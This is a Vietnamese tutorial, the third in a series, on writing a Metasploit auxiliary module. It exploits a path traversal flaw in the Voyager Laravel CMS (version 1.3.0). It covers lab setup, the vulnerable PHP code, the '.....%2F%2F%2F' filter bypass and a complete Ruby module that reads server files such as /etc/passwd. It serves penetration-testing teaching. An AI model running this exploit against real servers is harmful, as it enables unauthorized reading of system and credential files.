Tiếp nối những kiến thức còn dang dở ở phần 2 . Hôm nay chúng ta sẽ tiếp tục cùng nhau viết một mã khai thác đơn giản trên Metasploit Framework.
7. Kịch bản khai thác lỗ hổng Path traversal trong CMS Voyager Laravel
Do mục tiêu hướng tới là viết mã khai thác đơn giản, nên việc chọn lựa nền tảng kiểm thử ban đầu là khá quan trọng. Chúng ta cố gắng chọn những lỗ hổng dễ khai thác, con đường khai thác ngắn và ít tốn công nhất. Ở đây mình chọn lỗ hổng Path traversal trong CMS Voyager Laravel vì nó đáp ứng đầy đủ các yêu cầu trên. Mức độ khai thác dễ dàng cũng như dễ hình dung tính hiệu quả của mã. Lỗ hổng này do một người đồng nghiệp của mình tìm ra và public tại đây
7.1 Dựng môi trường thử nghiệm
Voyager là một ứng dụng web mã nguồn mở xây dựng trên Framework Laravel của PHP. Voyager là mã nguồn mở và hiện đang được phát triển tại https://github.com/the-control-group/voyager. Ứng dụng giúp người sử dụng có thể tạo ra một trang quản trị hệ thống một cách nhanh chóng và dễ dàng.
Để có thể cài đặt Voyager, trước tiên chúng ta cần cài đặt PHP và Laravel. Phần sau đây hướng dẫn cài đặt PHP và Laravel trên môi trường máy chủ Centos 7.0
Đầu tiên sử dụng lệnh sau để cài đặt máy chủ web Apache:
1 2 | <span class="token comment"># yum install httpd -y</span> |
Sau khi cài xong, khởi động Apache và đặt cho Apache khởi chạy cùng hệ thống:
1 2 | <span class="token comment"># systemctl start httpd</span> |
Cài đặt rules cho firewall để Apache có thể hoạt động:
1 2 3 | <span class="token comment"># firewall-cmd --permanent --add-port=80/tcp</span> <span class="token comment"># firewall-cmd --permanent --add-port=443/tcp</span> |
Cài đặt hệ quản trị cơ sở dữ liệu Mysql:
1 2 3 | <span class="token comment"># yum install mariadb-server php-mysql</span> <span class="token comment"># systemctl start mariadb.service</span> |
Cài đặt PHP 7.2
1 2 3 | <span class="token comment"># yum install yum-utils</span> <span class="token comment"># yum-config-manager --enable remi-php72</span> |
Cài đặt “composer” và “Laravel”:
1 2 3 | <span class="token comment"># curl -sS https://getcomposer.org/installer | php</span> <span class="token comment"># mv composer.phar /usr/bin/composer</span> |
Sau khi đã xây dựng được môi trường cần thiết trên máy chủ. Chúng ta tiến hành cài đặt Voyager version 1.3.0:
1 2 | <span class="token comment"># composer require tcg/voyager:1.3.0</span> |
Tạo một cơ sở dữ liệu với Mysql sau đó chỉnh sửa tệp “.env” tại đường dẫn thư mục: “/var/www/html/voyager/.env” và thêm vào các thông số cấu hình như sau:
1 2 3 4 5 | DB_HOST=localhost DB_DATABASE=voyager DB_USERNAME=voyager DB_PASSWORD=secret |
Bắt đầu quá trình cài đặt và cấu hình Voyager tự động:
1 2 3 | # cd /var/www/html/voyager/ # php artisan voyager:install |
Sau khi thực hiện các bước trên, Voyager đã được cài đặt thành công trên máy chủ.
Sử dụng lệnh sau để có thể chạy dịch vụ. Thêm tham số “–host = 0.0.0.0” để Voyager có thể truy cập từ các địa chỉ ip bên ngoài.
1 2 | # php artisan serve --host=0.0.0.0 |
Mặc định Voyager sẽ chạy trên cổng 8000. Có thể sử dụng tham số “–port=[port]” để thay đổi cổng dịch vụ Voyager lắng nghe.
Sau khi chạy chương trình, truy cập địa chỉ http://ip:8000/admin để vào trang quản trị của Voyager:
7.2 Khai thác lỗ hổng Path traversal trong CMS Voyager Laravel bằng “tay”
Chúng ta cùng xem qua mã nguồn của API :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">assets</span><span class="token punctuation">(</span>Request <span class="token variable">$request</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token variable">$path</span> <span class="token operator">=</span> Str<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token function">start</span><span class="token punctuation">(</span><span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token single-quoted-string string">'../'</span><span class="token punctuation">,</span> <span class="token single-quoted-string string">'./'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token single-quoted-string string">''</span><span class="token punctuation">,</span> <span class="token function">urldecode</span><span class="token punctuation">(</span><span class="token variable">$request</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">path</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token single-quoted-string string">'/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$path</span> <span class="token operator">=</span> <span class="token function">base_path</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'vendor/tcg/voyager/publishable/assets'</span><span class="token punctuation">.</span><span class="token variable">$path</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>File<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token function">exists</span><span class="token punctuation">(</span><span class="token variable">$path</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token variable">$mime</span> <span class="token operator">=</span> <span class="token single-quoted-string string">''</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>Str<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token variable">$path</span><span class="token punctuation">,</span> <span class="token single-quoted-string string">'.js'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token variable">$mime</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'text/javascript'</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">elseif</span> <span class="token punctuation">(</span>Str<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token variable">$path</span><span class="token punctuation">,</span> <span class="token single-quoted-string string">'.css'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token variable">$mime</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'text/css'</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token variable">$mime</span> <span class="token operator">=</span> File<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token function">mimeType</span><span class="token punctuation">(</span><span class="token variable">$path</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> |
Trong các ứng dụng xây dựng trên Voyager có một API là “GET /admin/voyager-assets?path=[….]”. Với tham số “path” là đường dẫn tới các tệp tài nguyên như hình ảnh, javascript,files … của ứng dụng.
Đoạn mã trên đã cố gắng chống lại “Path traversal” bằng cách xóa đi những chuỗi “../” và “./” nhưng rõ ràng là chưa triệt để. Kẻ tấn công có thể dễ dàng bypass bằng cách sử dụng các chuỗi kí tự “…..%2F%2F%2F”. Từ đó có thể khai thác “Path traversal” và đọc được các tệp tin hệ thống trên máy chủ:
Lỗ hổng trên đã được vá từ các phiên bản >1.3.0. Chi tiết về bản vá tại đây:
7.3 Khai thác lỗ hổng Path traversal trong CMS Voyager Laravel bằng Metasploit Framework
Trước tiên cần khai báo các thông tin về lỗ hổng và các tham số cần thiết:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <span class="token keyword">class</span> <span class="token class-name">MetasploitModule</span> <span class="token operator"><</span> <span class="token constant">Msf</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Auxiliary</span> <span class="token keyword">include</span> <span class="token constant">Msf</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Exploit</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Remote</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">HttpClient</span> <span class="token keyword">include</span> <span class="token constant">Msf</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Auxiliary</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Report</span> <span class="token keyword">include</span> <span class="token constant">Msf</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Auxiliary</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token constant">Scanner</span> <span class="token keyword">def</span> <span class="token method-definition"><span class="token function">initialize</span></span><span class="token punctuation">(</span>info <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token keyword">super</span><span class="token punctuation">(</span>update_info<span class="token punctuation">(</span>info<span class="token punctuation">,</span> <span class="token string">'Name'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token string">'Laravel Voyager Directory Traversal'</span><span class="token punctuation">,</span> <span class="token string">'Description'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token string">%q{ This module exploits a directory traversal vulnerability which exists in Laravel Voyager < 1.3.0. }</span><span class="token punctuation">,</span> <span class="token string">'References'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token punctuation">[</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">'Author'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token punctuation">[</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">'DisclosureDate'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token string">'Aug 03 2019'</span><span class="token punctuation">,</span> <span class="token string">'License'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token constant">MSF_LICENSE</span> <span class="token punctuation">)</span><span class="token punctuation">)</span> |
Hai câu lệnh sau dùng để khai báo hai tham số cần thiết cho việc khai thác. “FILEPATH” là đường dẫn tuyệt đối của tệp trên máy chủ. “DEPTH” là tham số xác định bậc của thư mục Voyager hiện hành. Mặc định được để là 10:
1 2 3 4 5 6 7 | register_options<span class="token punctuation">(</span> <span class="token punctuation">[</span> <span class="token constant">OptString</span><span class="token punctuation">.</span><span class="token keyword">new</span><span class="token punctuation">(</span><span class="token string">'FILEPATH'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token string">"The path to the file to read"</span><span class="token punctuation">,</span> <span class="token string">'/etc/passwd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">OptInt</span><span class="token punctuation">.</span><span class="token keyword">new</span><span class="token punctuation">(</span><span class="token string">'DEPTH'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token string">'Depth for Path Traversal'</span><span class="token punctuation">,</span> <span class="token number">10</span> <span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">end</span> |
Tiếp là phần mã dùng để gửi yêu cầu đến máy chủ và khai thác lỗ hổng:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <span class="token keyword">def</span> <span class="token method-definition"><span class="token function">run_host</span></span><span class="token punctuation">(</span>ip<span class="token punctuation">)</span> filename <span class="token operator">=</span> datastore<span class="token punctuation">[</span><span class="token string">'FILEPATH'</span><span class="token punctuation">]</span> traversal <span class="token operator">=</span> <span class="token string">'.....%2F%2F%2F'</span> <span class="token operator">*</span> datastore<span class="token punctuation">[</span><span class="token string">'DEPTH'</span><span class="token punctuation">]</span> <span class="token operator"><</span><span class="token operator"><</span> filename res <span class="token operator">=</span> send_request_raw<span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token string">'method'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token string">'GET'</span><span class="token punctuation">,</span> <span class="token string">'uri'</span> <span class="token operator">=</span><span class="token operator">></span> normalize_uri<span class="token punctuation">(</span>target_uri<span class="token punctuation">.</span>path<span class="token punctuation">,</span> <span class="token string">"admin/voyager-assets?path=<span class="token interpolation"><span class="token delimiter tag">#{</span>traversal<span class="token delimiter tag">}</span></span>"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">'vars_get'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token punctuation">{</span><span class="token string">'path'</span> <span class="token operator">=</span><span class="token operator">></span> traversal<span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token keyword">unless</span> res <span class="token operator">&&</span> res<span class="token punctuation">.</span>code <span class="token operator">==</span> <span class="token number">200</span> print_error<span class="token punctuation">(</span><span class="token string">'Nothing was downloaded'</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">end</span> vprint_good<span class="token punctuation">(</span><span class="token string">"<span class="token interpolation"><span class="token delimiter tag">#{</span>peer<span class="token delimiter tag">}</span></span> - n<span class="token interpolation"><span class="token delimiter tag">#{</span>res<span class="token punctuation">.</span>body<span class="token delimiter tag">}</span></span>"</span><span class="token punctuation">)</span> path <span class="token operator">=</span> store_loot<span class="token punctuation">(</span> filename<span class="token punctuation">,</span> <span class="token string">'text/plain'</span><span class="token punctuation">,</span> ip<span class="token punctuation">,</span> res<span class="token punctuation">.</span>body<span class="token punctuation">,</span> filename <span class="token punctuation">)</span> print_good<span class="token punctuation">(</span><span class="token string">"File saved in: <span class="token interpolation"><span class="token delimiter tag">#{</span>path<span class="token delimiter tag">}</span></span>"</span><span class="token punctuation">)</span> <span class="token keyword">end</span> |
Do lỗ hổng không yêu cầu xác thực và nền tảng kiểm thử không sử dụng các phương pháp đảm bảo an toàn tối thiểu, nên việc viết mã khai thác là tương đối dễ dàng.
7.3.1 Sử dụng mã khai thác
Lưu mã khai thác vào thư mục cài đặt Metasploit Framework “/usr/share/metasploit-framework/modules/exploits/myexploits/voyager.rb”. Sau đó khởi động Voyager. Đặt các tham số cần thiết cho việc khai thác:
Sau khi khai thác, Metasploit Framework sẽ trả lại đường dẫn lưu tệp. Sử dụng lệnh cat để xem nội dung tệp:
8. Tổng kết
Qua đây, chúng ta đã cùng nhau xây dựng thành công một mã khai thác đơn giản trên Metasploit Framework . Ở phần tiếp theo, mình sẽ trình bày các mã khai thác khó hơn, con đường khai thác dài và phức tạp hơn. Xin cảm ơn mọi người đã đọc tới đây, hẹn gặp lại ở phần 4.
Tài liệu tham khảo :
https://github.com/rapid7/metasploit-framework/wiki
https://www.offensive-security.com/metasploit-unleashed/
Thank to doandinhlinh